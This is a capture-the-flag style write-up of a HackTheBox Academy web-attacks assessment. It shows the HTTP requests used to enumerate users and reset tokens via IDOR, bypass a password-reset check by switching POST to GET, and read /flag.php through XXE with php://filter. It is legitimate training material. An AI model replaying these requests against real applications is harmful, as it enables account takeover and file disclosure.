Introduction
Walking through my solve of the Web Attacks Skills Assessment from HackTheBox Academy. This one tested three separate vulnerability classes: IDOR (Insecure Direct Object Reference), HTTP Verb Tampering, and XXE (XML External Entity) Injection.
What made it interesting is that it needed all three chained together to reach the final goal — each vuln built on the previous one, a good demo of how small flaws compound into a full system compromise.
Challenge Overview
- Target: web app (social networking platform)
-
Given credentials:
htb-student:Academy_student! -
Goal: escalate privileges and read the flag at
/flag.php - Skills tested: IDOR, HTTP parameter tampering, XXE injection
Step 1: Initial Recon
After logging in with the provided creds, I explored the app through Burp Suite to map out functionality and look for attack vectors — starting with how it handles sessions and API calls.
Step 2: Discovering the IDOR
While intercepting traffic, I found an API endpoint that returns user info:
GET /api.php/user/74 HTTP/1.1
Host: 154.57.164.83:30772
Cookie: PHPSESSID=5tdab0pea9581eafu321oslqc2; uid=74
Response:
{
"uid": "74",
"username": "htb-student",
"full_name": "Paolo Perrone",
"company": "Schaefer Inc"
}
The critical observation: the app relied purely on the URL parameter to decide whose data to return — no server-side check on whether the requesting user actually had permission. Textbook IDOR.
Step 3: User Enumeration
Confirmed the vuln, then enumerated users. Manual testing first:
GET /api.php/user/1 HTTP/1.1
GET /api.php/user/2 HTTP/1.1
GET /api.php/user/3 HTTP/1.1
...
Every request returned a different user's data. To speed this up, I ran Burp Intruder over IDs 1–100 (payload type: Numbers, from 1 to 100, step 1) and pulled all 100 users' info in one pass.
Step 4: Finding the Administrator Account
Scanning the enumeration results for anything with elevated privileges, one entry stood out:
{
"uid": "52",
"username": "a.corrales",
"full_name": "Amor Corrales",
"company": "Administrator"
}
🎯 Target identified: user ID 52, a.corrales — Administrator.
Step 5: Attempting to Hijack the Admin Account
I looked at how password reset works by triggering it on my own account and intercepting the two requests involved.
Request 1 — fetch the token:
GET /api.php/token/74 HTTP/1.1
Host: 154.57.164.83:30772
Response:
{
"token": "e51a8a14-17ac-11ec-8e67-a3c050fe0c26"
}
Request 2 — reset the password:
POST /reset.php HTTP/1.1
Host: 154.57.164.83:30772
Content-Type: application/x-www-form-urlencoded
uid=74&token=e51a8a14-17ac-11ec-8e67-a3c050fe0c26&password=newpass
The plan: since the IDOR lets me pull any user's token, I could fetch admin's token from /api.php/token/52 and reset their password with it.
Step 6: First Attempt — Access Denied
I modified the reset request to target user 52:
POST /reset.php HTTP/1.1
Host: 154.57.164.83:30772
Cookie: PHPSESSID=5tdab0pea9581eafu321oslqc2; uid=52
uid=52&token=e51a8a14-17ac-11ec-8e67-a3c050fe0c26&password=1234
Response:
Access Denied
❌ Failed — the server was validating something. My token (issued for user 74) wasn't valid for user 52.
Step 7: HTTP Verb Tampering
Apps sometimes enforce inconsistent security controls across HTTP methods. What if GET has weaker validation than POST?
GET /reset.php?uid=52&token=e51a8a14-17ac-11ec-8e67-a3c050fe0c26&password=1234 HTTP/1.1
Host: 154.57.164.83:30772
Response:
Invalid token
Progress — the error changed from "Access Denied" to "Invalid token." The method swap bypassed the access control; I just needed the right token for user 52.
Step 8: Combining IDOR + HTTP Verb Tampering
Now I had both pieces: IDOR to fetch any user's token, and verb tampering to bypass the reset endpoint's access control.
Fetch admin's token via IDOR:
GET /api.php/token/52 HTTP/1.1
Host: 154.57.164.83:30772
Response:
{
"token": "e51a85fa-17ac-11ec-8e51-e78234eb7b0c"
}
Reset admin's password with the valid token:
GET /reset.php?uid=52&token=e51a85fa-17ac-11ec-8e51-e78234eb7b0c&password=1234 HTTP/1.1
Host: 154.57.164.83:30772
Response:
Password changed successfully
✅ Administrator's password reset to 1234.
Step 9: Accessing the Admin Panel
Logged in with the compromised creds (a.corrales / 1234) and got full admin access. A new feature was visible that regular users don't get: Add Event.
Step 10: Discovering the XXE Vulnerability
Intercepting the "Add Event" request showed the app accepts raw XML:
POST /addEvent.php HTTP/1.1
Host: 154.57.164.78:30221
Content-Type: text/plain;charset=UTF-8
<root>
<name>test</name>
<details>test details</details>
<date>2024-01-01</date>
</root>
Response:
Event 'test' has been created.
The <name> value gets reflected back in the response — a strong signal the app might be vulnerable to XML External Entity (XXE) injection.
Step 11: Testing for XXE
First attempt: a basic XXE payload trying to read /flag.php directly.
Response:
Event '' has been created.
❌ Didn't work as expected — /flag.php contains PHP code, and when the XML parser tries to read it, the server executes the PHP instead of returning it as plain text.
Step 12: XXE with PHP Filters — The Fix
PHP's stream filter wrapper php://filter with convert.base64-encode lets you:
- read the PHP file as raw text instead of executing it
- base64-encode it, sidestepping special-character issues
- exfiltrate it through the XXE
Sending the payload through this wrapper got:
Event 'PD9waHAKJGZsYWcgPSAiSFRCe21YWFH...' has been created.
✅ Success — the base64-encoded contents of /flag.php came back in the event name.
🎯 Flag captured: HTB{mxxxxr_xxb_4xxxxr}
Vulnerability Chain Summary
1. IDOR on /api.php/user/{id} → enumerate all users → find admin
2. IDOR on /api.php/token/{id} → steal admin's reset token
3. HTTP verb tampering (POST → GET) → bypass reset endpoint's access control
4. Admin password reset → full admin access
5. XXE in the new "Add Event" feature via php://filter → read /flag.php
Three separate flaws — none individually catastrophic on its own — chained into full compromise.






Top comments (0)